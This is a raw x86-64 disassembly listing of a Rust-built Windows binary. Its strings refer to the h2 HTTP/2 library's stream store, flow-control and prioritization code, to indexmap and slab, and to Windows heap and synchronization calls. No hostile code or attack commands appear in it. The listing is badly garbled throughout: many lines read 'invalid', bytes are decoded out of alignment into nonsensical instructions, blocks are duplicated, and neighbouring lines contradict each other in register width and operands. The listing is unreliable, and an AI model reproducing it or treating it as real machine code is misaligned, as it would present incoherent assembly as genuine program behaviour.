mov qword [rsp + 0x480], rsi
jmp 0x14009d09b
lea rcx, [rsp + 0x140]
and al, 0x40
add dword [rax], eax
add al, ch
mov edx, 0x48fff7d1
mov eax, dword [rsp + 0x160]
call fcn.14001a1c0
mov rax, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x100]
mov qword [rcx + 0x20], rax
movups xmm0, xmmword [rsp + 0x140]
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x150], cl
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rdi], cl
adc byte [rsp + 0x150], cl
movups xmmword [rcx + 0x10], xmm1
movups xmmword [rcx], xmm0
adc byte [r15], cl
adc dword [rcx], eax
mov rax, qword [rsp + 0x578]
cmp rax, 2
jne 0x14009d1b7
jmp 0x14009d232
lea esi, [0x14016f768]
mov qword [rsp + 0x350], rsi
lea rcx, [rsp + 0x360]
mov word [rax + riz*2], fs
add eax, dword [rax]
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rbx*2], ah
add eax, dword [rax]
add byte [rcx], dh
inc dword [rbp - 0x7b]
test esi, esi
je 0x14009d08f
or ah, byte [rdi]
or eax, 0xb4894800
and al, 0x50
add eax, dword [rax]
add byte [rax - 0x73], cl
mov word [rax + riz*2], fs
add eax, dword [rax]
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test byte [rax + rbx*2], ah
add eax, dword [rax]
add byte [rcx], dh
inc dword [rbp - 0x7b]
test esi, esi
je 0x14009d08f
xorps xmm0, xmm0
movaps xmmword [rsp + 0x140], xmm0
sub dword [rsp + 0x140], eax
mov bl, 1
jmp 0x14009d091
mov bl, 3
mov rdx, rsi
mov r8, rdi
xorps xmm0, xmm0
movaps xmmword [rsp + 0x140], xmm0
sub dword [rsp + 0x140], eax
sub dword [rsp + 0x140], eax
mov bl, 1
jmp 0x14009d091
add ebx, ebp
add dh, byte [rbx - 0xd76b7fd]
mov bl, 3
mov rdx, rsi
mov r8, rdi
call qword [r15 + 0x10]
mov rax, qword [rsp + 0x100]
mov byte [rax], bl
mov byte [rax + 1], bpl
mov dword [rax + 4], r14d
invalid
add al, 0x48
mov ecx, dword [rsp + 0x488]
mov rcx, qword [rsp + 0x488]
mov qword [rax + 8], rcx
mov rcx, qword [rsp + 0x480]
and al, 0x80
add al, 0
add byte [rax - 0x77], cl
adc byte [rdi], cl
sub byte [rsp + 0x140], al
movups xmmword [rax + 0x18], xmm0
mov rax, qword [rsp + 0x578]
cmp rax, 2
jne 0x14009d1b7
invalid
add byte [rax], al
invalid
invalid
jmp 0x14009d232
mov r14, r8
shl r15, 0x20
shl edi, 0x20
or r15, r9
movabs rsi, 0x8000000000000000
cmp r15, rsi
je 0x14009d14f
movq rsi, xmm12
jle 0x14009d0ec
test rsi, rsi
je 0x14009d13c
js 0x14009d8f0
movzx eax, byte [0x14017d2b0]
xor ecx, ecx
mov rdx, rsi
call fcn.1400e0010
test rax, rax
je 0x14009d8f5
mov rdi, rax
mov edi, eax
jmp 0x14009d141
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcore_raw.rs
call fcn.140104670
mov edi, 1
mov rdx, r14
mov rcx, rdi
mov r8, rsi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + 0x141], bl
mov qword [rsp + 0x148], rsi
mov qword [rsp + 0x150], rdi
movq qword [rsp + 0x158], xmm12
mov byte [rsp + 0x140], 2
lea rdx, [rsp + 0x140]
lea rcx, [rsp + 0x368]
call fcn.1400a3a60
mov rax, qword [rsp + 0x100]
mov byte [rax], 2
mov byte [rax + 1], bl
mov qword [rax + 8], r15
mov qword [rax + 0x10], r14
movq qword [rax + 0x18], xmm12
mov rax, qword [rsp + 0x578]
cmp rax, 2
je 0x14009d232
lea rdx, [rsp + 0x590]
mov rsi, qword [rsp + 0x580]
mov rdi, qword [rsp + 0x588]
test rax, rax
je 0x14009d2e2
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rdi + 0x68]
mov rdx, qword [rsp + 0x590]
mov rax, qword [rdi + 0x10]
dec rax
and rax, 0xfffffffffffffff0
lea rcx, [rsi + rax]
add rcx, 0x10
call qword [rdi + 0x80]
mov rax, qword [rsp + 0x580]
lock dec qword [rax]
jne 0x14009d232
mov r8, qword [rsp + 0x2b8]
cmp r8, 2
je 0x14009d313
add al, byte [rax]
add byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test byte [rbx + 0x48000000], cl
mov edx, dword [rsp + 0x2d0]
add byte [rax - 0x75], cl
mov word [rax + rax*8], fs
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rcx*8], ah
add al, byte [rax]
add byte [rbp - 0x7b], cl
invalid
add byte [rax - 0x75], cl
mov word [rax + rax*8], fs
add al, byte [rax]
add byte [rax - 0x75], cl
test byte [rax + rcx*8], ah
add al, byte [rax]
add byte [rbp - 0x7b], cl
sal byte [rax + rbp*2 + 0x4c], 0x8b
je 0x14009d30d
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
je 0x14009d30d
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x2c0]
lock dec qword [rax]
jne 0x14009d313
mov rcx, qword [rsp + 0x2c0]
mov rdx, qword [rsp + 0x2c8]
call fcn.1400049d0
jmp 0x14009d313
mov rcx, rsi
call qword [rdi + 0x68]
mov rdx, qword [rsp + 0x590]
mov rcx, rsi
call qword [rdi + 0x80]
mov r8, qword [rsp + 0x2b8]
cmp r8, 2
clc
add cl, byte [rdi]
test dword [rcx], edi
invalid
invalid
invalid
clc
add cl, byte [rdi]
test dword [rcx], edi
invalid
call qword [rax + 0x80]
movaps xmm6, xmmword [rsp + 0x6c0]
movaps xmm7, xmmword [rsp + 0x6d0]
movaps xmm8, xmmword [rsp + 0x6e0]
movaps xmm9, xmmword [rsp + 0x6f0]
movaps xmm10, xmmword [rsp + 0x700]
movaps xmm11, xmmword [rsp + 0x710]
movaps xmm12, xmmword [rsp + 0x720]
movaps xmm13, xmmword [rsp + 0x730]
add rsp, 0x748
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsp + 0x140]
mov rdx, r15
jmp 0x14009d001
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001findexmap_2.2.5_srcmapcore_raw.rs
call fcn.140104670
add al, ch
out 0x72, eax
invalid
lea rax, [rsp + 0x49c]
mov qword [rsp + 0x348], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x350], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 1
mov qword [rsp + 0x160], 0
lea rax, [rsp + 0x348]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x140]
call fcn.140104620
lea rax, [rsp + 0x49c]
mov qword [rsp + 0x348], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x350], rax
lea rax, str.dangling_store_key_for_stream_id
or byte [rax], al
or byte [rax], al
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 1
mov qword [rsp + 0x160], 0
lea rax, [rsp + 0x348]
test byte [rax + rcx*2], ah
add eax, dword [rax]
add bl, ch
invalid
lea rax, [rsp + 0x114]
mov qword [rsp + 0xc0], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0xc8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 1
mov qword [rsp + 0x160], 0
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x150], rax
mov qword [rsp + 0x158], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x140]
call fcn.140104620
lea rax, [rsp + 0x324]
mov qword [rsp + 0x278], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x280], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x498], rax
mov qword [rsp + 0x4a0], 1
mov qword [rsp + 0x4b8], 0
lea rax, [rsp + 0x278]
mov qword [rsp + 0x4a8], rax
mov qword [rsp + 0x4b0], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x498]
call fcn.140104620
lea rax, [rsp + 0x324]
mov qword [rsp + 0x278], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x280], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x498], rax
mov qword [rsp + 0x4a0], 1
mov qword [rsp + 0x4b8], 0
lea rax, [rsp + 0x278]
mov qword [rsp + 0x4a8], rax
mov qword [rsp + 0x4b0], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x498]
call fcn.140104620
invalid
invalid
invalid
add rdx, rcx
mov qword [rdx + 8], r8
lea rcx, str.invalid_keyC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_slab_0.4.9_srclib.rs
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
mov edx, 0xb
call fcn.140104a60
lea rcx, str.assertion_failed:_N::next_stream_.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
mov edx, 0x2c
sub al, 0
add byte [rax], al
sub al, 0
add byte [rax], al
call fcn.1401046f0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140104a40
mov qword [rsp + 0x140], r13
mov byte [rsp + 0x148], al
add qword [rax], rax
add byte [rax - 0x73], cl
add eax, 0x9d9e6
add qword [rax], rax
add byte [rax - 0x73], cl
add eax, 0x9d9e6
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013bad8]
lea r8, [rsp + 0x140]
mov edx, 0x2b
call fcn.1401049b0
mov qword [rsp + 0x498], rcx
mov byte [rsp + 0x4a0], al
add al, 0
add byte [rax - 0x73], cl
add eax, 0x9dc03
add al, 0
add byte [rax - 0x73], cl
add eax, 0x9dc03
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea ecx, str.called__Result::unwrap____on_an__Err__value
lea ecx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013bb18]
lea r8, [rsp + 0x498]
add byte [rdx + 0x2b], bh
call fcn.1401049b0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
or dword [rax], eax
call fcn.140104a40
lea rcx, str.assertion_failed:_slot.next.is_none__
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_buffer.rsH
mov edx, 0x25
call fcn.1401046f0
lea rax, [rsp + 0xc4]
lea eax, [rsp + 0xc4]
jmp 0x14009d407
lea rax, [rsp + 0xc4]
jmp 0x14009d391
mov byte [rsp + 0x140], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamsprioritize.rsinvalid_frame
mov qword [rsp + 0x20], rax
lea rcx, [0x14013aaac]
lea r9, [0x14013ba38]
lea r8, [rsp + 0x140]
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rdx + 0xd], bh
test byte [rax + rax*2], ah
add dword [rax], eax
add byte [rdx + 0xd], bh
call fcn.1401049b0
ud2
mov qword [rsp + 0x140], rsi
mov byte [rsp + 0x148], bpl
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x14009d60a
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x140], rax
mov eax, dword [rsp + 0xa4]
mov byte [rsp + 0x148], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013bb18]
lea r8, [rsp + 0x140]
mov edx, 0x2b
call fcn.1401049b0
mov qword [rsp + 0x140], rcx
mov byte [rsp + 0x148], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x14009d60a
lea rax, [rsp + 0x2a4]
mov qword [rsp + 0x110], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x118], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 1
mov qword [rsp + 0xe0], 0
lea rax, [rsp + 0x110]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0xc0]
call fcn.140104620
lea rax, [rsp + 0x2a4]
mov qword [rsp + 0x110], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x118], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], 1
mov qword [rsp + 0xe0], 0
lea rax, [rsp + 0x110]
mov qword [rsp + 0xd0], rax
mov qword [rsp + 0xd8], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0xc0]
call fcn.140104620
mov byte [rsp + 0x140], al
lea rax, [0x14013abe8]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_WINDOW_UPDATE_frame
lea r9, [0x14013ba38]
lea r8, [rsp + 0x140]
mov edx, 0x1b
call fcn.1401049b0
mov dword [rsp + 0x140], 3
lea rax, [0x14013ac20]
mov qword [rsp + 0x20], rax
lea rcx, str.unexpected_flow_control_state
lea r9, [0x14013bab8]
lea r8, [rsp + 0x140]
mov edx, 0x1d
call fcn.1401049b0
lea rcx, [0x14012522e]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_flow_control.rsassertion_failed:_self.window_size.0___sz_as_i32
mov edx, 0x31
call fcn.1401046f0
lea rcx, str.assertion_failed:__id.is_zero__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotopeer.rs
lea r8, [0x140124ec0]
mov edx, 0x1f
call fcn.1401046f0
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streamsprioritize.rsinvalid_frame
call fcn.140104a40
call fcn.140010910
mov ecx, 1
mov rdx, rsi
call fcn.140104360
mov byte [rsp + 0x140], al
lea rax, [0x14013ac38]
jmp 0x14009d858
mov dword [rdi + 0x480], 2
cmp dword [rdi + 0x440], 0
je 0x1400a15ed
mov rsi, qword [rdi + 0x408]
lea r14, [rsi + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rsi + 0x10], cl
jne 0x1400a2368
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
jne 0x1400a2383
invalid
xor r15d, r15d
movzx eax, byte [rsi + 0x11]
adc dword [rax + r8*8 + 0x5306850f], r8d
add byte [rax], al
adc dword [rax + r8*8 + 0x5306850f], r8d
add byte [rax], al
cmp dword [rsi + 0xa8], 0
je 0x14009e314
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rcx*4 - 0x5a], al
lodsb al, byte [rsi]
add byte [rax], al
add byte [rbx + 0x100bf], al
add byte [rsi*2 - 0x7074b7df], al
pop rax
add dword [rax], eax
add byte [rax + 0x2b], cl
invalid
mov r12d, dword [rsi + 0xac]
cmp dword [rdi + 0x100], 4
jne 0x14009e27e
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov ebx, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
jae 0x14009e2cf
mov rcx, qword [rsp + 0xa8]
mov rdx, rbp
call fcn.1400a3f30
mov rbx, rdx
test rax, rax
jne 0x14009e2cf
test rbx, rbx
jne 0x14009e2cf
mov r13d, 1
cmp dword [rdi + 0x100], 4
jne 0x1400a1985
xlatb
add byte ss:[rax], al
xlatb
add byte ss:[rax], al
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov ebx, 0
mov eax, 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp rcx, qword [rdi + 0x178]
jb 0x14009e323
mov r13, rax
test rax, rax
jne 0x14009e323
test rbx, rbx
jne 0x14009e323
mov rcx, qword [rsp + 0xa8]
lea rdx, [rsp + 0x330]
call fcn.140079c30
std
invalid
cmp al, 0xc
jne 0x1400a3709
std
invalid
mov dword [rsi + 0xa8], 0
xor ebx, ebx
fild dword [rbp + 0x31]
in eax, dx
fild dword [rbp + 0x31]
in eax, dx
test r15b, r15b
jne 0x14009e33b
mov rax, qword [0x14017d2a8]
add eax, 0xdef79
shl rax, 1
test rax, rax
jne 0x1400a2c73
xor eax, eax
xchg byte [r14], al
cmp al, 2
lea r15, [rsp + 0x1c8]
jne 0x14009e355
mov rcx, r14
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
mov r14b, 4
test r13, r13
jne 0x14009e3c9
test rbx, rbx
je 0x1400a18ca
movzx eax, byte [rsp + 0x331]
mov byte [rsp + 0x67], al
movzx eax, word [rsp + 0x332]
mov word [rsp + 0xa6], ax
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rbx + 0x3342484], cl
add byte [rax], al
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rbx + 0x3342484], cl
add byte [rax], al
mov dword [rsp + 0x170], eax
movdqu xmm11, xmmword [rsp + 0x338]
lea rax, [rsp + 0x340]
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x580], xmm0
mov rdx, qword [rsp + 0x640]
mov edx, dword [rsp + 0x640]
cmp rdx, 2
je 0x14009e480
mov rcx, qword [rsp + 0x648]
mov rax, qword [rsp + 0x650]
test rdx, rdx
je 0x14009e402
invalid
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
add ecx, 0x10
add ecx, 0x10
lea rdx, [rsp + 0x658]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x640]
cmp r8, 2
je 0x14009e480
mov rdx, qword [rsp + 0x658]
mov rcx, qword [rsp + 0x648]
mov rax, qword [rsp + 0x650]
test r8, r8
je 0x1400a167d
mov rax, qword [rdi + 0x380]
cmp rax, 2
je 0x14009e4be
mov rcx, qword [rdi + 0x388]
mov r8, qword [rdi + 0x390]
test rax, rax
je 0x14009e4b2
invalid
adc cl, byte [rcx - 0x75]
adc byte [rax - 1], cl
enter 0xffffffffffff8348, 0xffffffffffffffe0
invalid
mov rax, qword [r8 + 0x10]
dec rax
and rax, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
mov rdx, qword [rsp + 0x530]
call qword [r8 + 0x68]
cmp r14b, 3
inc byte [rbx]
jne 0x1400a2ef8
mov rax, qword [rsp + 0x5b0]
mov qword [rsp + 0x818], rax
sbb byte [rax], cl
add byte [rax], al
sbb byte [rax], cl
add byte [rax], al
mov rax, qword [rsp + 0x4b8]
mov qword [rsp + 0x820], rax
test byte [rax + riz], ah
or byte [rax], al
add bl, dh
movdqu xmm0, xmmword [rdi + 0x408]
movdqu xmm0, xmmword [rdi + 0x408]
or byte [rax + rax], al
add byte [rsi + 0x41], ah
paddq mm0, mm0
paddq xmm0, xmm8
movdqu xmmword [rsp + 0x838], xmm0
mov byte [rsp + 0x848], 0
and al, 0x48
or byte [rax], al
add byte [rax], al
and al, 0x48
or byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x5a8]
mov qword [rsp + 0x828], rax
mov rax, qword [rsp + 0x488]
mov qword [rsp + 0x830], rax
mov qword [rsp + 0x548], 2
mov qword [rsp + 0x568], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
cmp byte [rdi + 0x1c2], 0
jne 0x1400a15b0
xor byte [rax], al
invalid
xor byte [rax], al
add byte [rax + 0x1c1bf], al
add dword [rax], eax
cmp byte [rdi + 0x1c1], 0
add dword [rax], eax
add byte [rax], al
je 0x14009e820
add byte [rax], al
cmp byte [rdi + 0x1c0], 0
je case.0x140069415.239
pop rdi
pop rdi
lea rcx, [rsp + 0x330]
lea ecx, [rsp + 0x330]
add eax, dword [rax]
add byte [rax - 0x77], cl
cli
mov rdx, rdi
mov r8, qword [rsp + 0x128]
call fcn.1400f5360
add byte [rax - 0x7d], cl
mov esp, 0x33024
add byte [rax], al
add byte [rax - 0x7d], cl
mov esp, 0x33024
add byte [rax], al
mov r13, qword [rsp + 0x338]
cmp byte [rbx], al
add byte [rax], al
jne 0x1400a19c0
xor al, 0
add byte [rbx + rcx*4 - 0x5c], cl
and al, 0x40
add eax, dword [rax]
add byte [rax - 0x73], cl
test byte [rax + rax*2], ah
add eax, dword [rax]
add bl, dh
mov r12, qword [rsp + 0x340]
lea rax, [rsp + 0x340]
movdqu xmm0, xmmword [rax + 8]
movq mm0, qword [rax + 8]
movq mm0, qword [rax + 8]
movdqa xmmword [rsp + 0x1c0], xmm0
movq qword [rsp + 0x1c0], mm0
test byte [rax + rax*8], ah
add dword [rax], eax
add byte [rbp - 0x7b], cl
in eax, dx
test r13, r13
jne case.0x140096763.35
jmp 0x1400a1993
xor eax, dword [rax]
add byte [rax], al
nop dword [rax + rax]
add byte [rdi], cl
invalid
lea rcx, [rsp + 0x330]
mov word [rax + rsi], fs
add eax, dword [rax]
add byte [rax - 0x77], cl
mov rdx, rdi
mov rdx, rdi
mov r8, qword [rsp + 0x128]
call fcn.1400f5360
add byte [rax - 0x7d], cl
mov esp, 0x33024
add byte [rax], al
invalid
add byte [rax - 0x7d], cl
mov esp, 0x33024
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x54], cl
and al, 0x38
add eax, dword [rax]
add byte [rdi], cl
test ecx, edx
sal dword [rbx], 1
add byte [rax], al
invalid
invalid
movsb byte [rdi], byte [rsi]
mov r13, qword [rsp + 0x338]
mov ebp, dword [rsp + 0x338]
jne 0x1400a19c0
sal dword [rbx], 1
add byte [rax], al
mov r12, qword [rsp + 0x340]
lea rax, [rsp + 0x340]
and al, 0x40
add eax, dword [rax]
add byte [rax - 0x73], cl
test byte [rax + rax*2], ah
add eax, dword [rax]
add bl, dh
movdqu xmm0, xmmword [rax + 8]
movdqu xmm0, xmmword [rax + 8]
movdqa xmmword [rsp + 0x1c0], xmm0
test r13, r13
je case.0x14005101a.308
invalid
add byte [rdi], cl
sub byte [rsp + 0x1c0], al
and al, 0xc0
add dword [rax], eax
invalid
movaps xmm0, xmmword [rsp + 0x1c0]
and al, 0xc0
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x640], eax
invalid
invalid
add byte [rax], al
movaps xmmword [rsp + 0x640], xmm0
invalid
movdqa xmm0, xmmword [rsp + 0x640]
invalid
add byte [rax], al
lea rax, [rsp + 0x320]
movdqu xmmword [rax], xmm0
add bl, dh
movq qword [rax], mm0
mov r15, qword [rdi + 0x378]
add byte [rcx + rcx*4 - 0x54], cl
and al, 0x10
adc byte [rbx], al
add byte [rax], al
mov qword [rsp + 0x318], r12
invalid
invalid
test byte [rax + rbx*4], ah
add dword [rax], eax
add byte [rdx], al
mov qword [rsp + 0x310], r13
mov qword [rsp + 0x318], r12
mov qword [rsp + 0x198], 2
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x1b8], 0
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rsp + 0x1b8], 0
cmp r12, 5
invalid
invalid
sahf
invalid
mov dword [rsp + 0x1b8], 0
add byte [rax], al
cmp r12, 5
jb 0x1400a3412
add byte [rax], al
add byte [rax], al
lea rdx, [r12 - 5]
lea edx, [rsp - 5]
and al, 0xfb
cmp rdx, 3
jbe 0x1400a3401
add byte [r8], r8b
cli
add ecx, dword [rdi]
xchg byte [rsi + 0x4d], bh
add byte [r8], r8b
add byte [r8], r8b
movzx eax, byte [r13 + 3]
movzx eax, byte [rbp + 3]
cmp rax, 9
ja case.default.0x14009e6a0
or dword [rdi], ecx
xchg ebp, ecx
add al, byte [rax]
add byte [rax - 0x73], cl
adc eax, 0xd637b
jnp 0x14009e6fa
invalid
invalid
lea rdx, [0x140174a14]
jnp 0x14009e6fa
or eax, 0xc634800
invalid
add byte [rax + 0x63], cl
or al, 0x82
movsxd rcx, dword [rdx + rax*4]
add rcx, rdx
jmp rcx
invalid
loope 0x14009e6d4
leave
mov ebx, dword [r13 + 5]
movzx esi, byte [r13 + 4]
add al, 0x48
mov edx, dword [rsp + 0x478]
add al, 0x48
mov edx, dword [rsp + 0x478]
mov rbp, qword [rdx]
test cl, cl
leave
sub al, byte [rcx + rcx*8 + 0xc0850f]
add byte [rax], al
invalid
leave
jne 0x14009e780
add byte [rbx - 0x7bf0fd03], al
mov bh, 0
cmp ebp, 2
je 0x14009e780
add byte [rax], al
add byte [rax], al
mov r12b, 0xa
mov eax, 1
mov qword [rsp + 0x68], rax
and al, 0x68
xor eax, eax
mov qword [rsp + 0x58], rax
and al, 0x58
mov al, 1
mov qword [rsp + 0x50], rax
and al, 0x50
mov al, 1
mov qword [rsp + 0x70], rax
lea rax, [0x1401127a0]
mov qword [rsp + 0x40], rax
lea rax, [0x14016f768]
mov qword [rsp + 0x78], rax
and al, 0x78
invalid
push 0x10
or eax, 0x44894800
and al, 0x78
xor eax, eax
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x48], eax
xor r14d, r14d
xor esi, esi
xor esi, esi
test bh, 0x44
and al, 0x34
add byte [rax], al
add byte [rax], al
mov dword [rsp + 0x34], 0
mov rbp, qword [rsp + 0x38]
insb byte [rdi], dx
and al, 0x38
lea r15, [rsp + 0x1c8]
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0x28
mov r8, qword [rsp + 0x328]
test r8b, 1
jne 0x1400a0193
test byte [rax + rbp], ah
add eax, dword [rax]
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rdi + 0x1a], ebx
add byte [rax], al
lock dec qword [r8 + 0x20]
dec qword [r8 + 0x20]
jne 0x1400a01bb
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14009e768
mov rax, qword [r8 + 8]
mov rcx, qword [0x14017d208]
invalid
invalid
xor edx, edx
mov rsi, r8
mov r8, rax
call rbx
mov r8, rsi
mov rcx, qword [0x14017d208]
invalid
xor edx, edx
call rbx
jmp 0x1400a01bb
invalid
add byte [rdi], cl
invalid
add byte [rcx - 0x801d], al
inc dword [rcx - 0x77]
fiadd word [rcx + 0xf]
invalid
and ebx, 0xffffff7f
mov r14d, ebx
bswap r14d
invalid
movzx eax, al
lea rcx, [0x140174a3c]
movsxd rax, dword [rcx + rax*4]
add al, 0x81
add rax, rcx
jmp rax
add byte [rcx - 0xa], al
rol byte [rcx], 0xf
test dword [rdx], edx
invalid
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
or al, 7
add byte [rdi], cl
test byte [rdx], dl
invalid
add byte [rax], al
or al, 7
add byte [rdi], cl
test byte [rdx], dl
invalid
mov rax, qword [r8 + 8]
mov rcx, qword [0x14017d208]
invalid
invalid
invalid
invalid
xor edx, edx
mov r15, r8
invalid
mov edi, eax
invalid
mov r8, rax
call r12
mov r8, r15
clc
clc
jmp 0x14009edfe
mov byte [rdi + 0x1c1], 0
rol dword [rcx], 0
add byte [rax], al
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
mov rsi, qword [rdi + 0x1a8]
cmp qword [rdi + 0x1b0], rsi
add byte [rax], al
add dword [rax], eax
add byte [rax + 0x39], cl
mov bh, 0xb0
add dword [rax], eax
add byte [rax], al
jne 0x14009e849
add byte [rax], al
jne 0x14009e849
mov edx, 1
mov rcx, qword [rsp + 0x128]
add dword [rax], eax
add al, ch
pop rsi
idiv edi
add byte [rax], al
add byte [rax - 0x75], cl
mov word [rax + rbp], fs
add dword [rax], eax
add al, ch
pop rsi
idiv edi
mov rsi, qword [rdi + 0x1a8]
mov esi, dword [rdi + 0x1a8]
mov bh, 0xa8
add dword [rax], eax
add byte [rax - 0x7d], cl
invalid
cmp rsi, 0xffffffffffffffff
je 0x14009e944
test cl, dh
add byte [rax], al
add byte [rax - 0x75], cl
mov ebx, dword [rdi + 0x188]
mov rbx, qword [rdi + 0x188]
mov ebx, dword [rdi + 0x188]
mov r14, qword [rdi + 0x190]
mov rax, qword [rsp + 0x480]
test byte [rax + rax*4], ah
add al, 0
add byte [rax - 0x75], cl
invalid
mov bh, 0x90
add dword [rax], eax
add byte [rax - 0x75], cl
test byte [rax + rax*4], ah
add al, 0
add byte [rax - 0x75], cl
add byte [rax + 0x39], cl
invalid
invalid
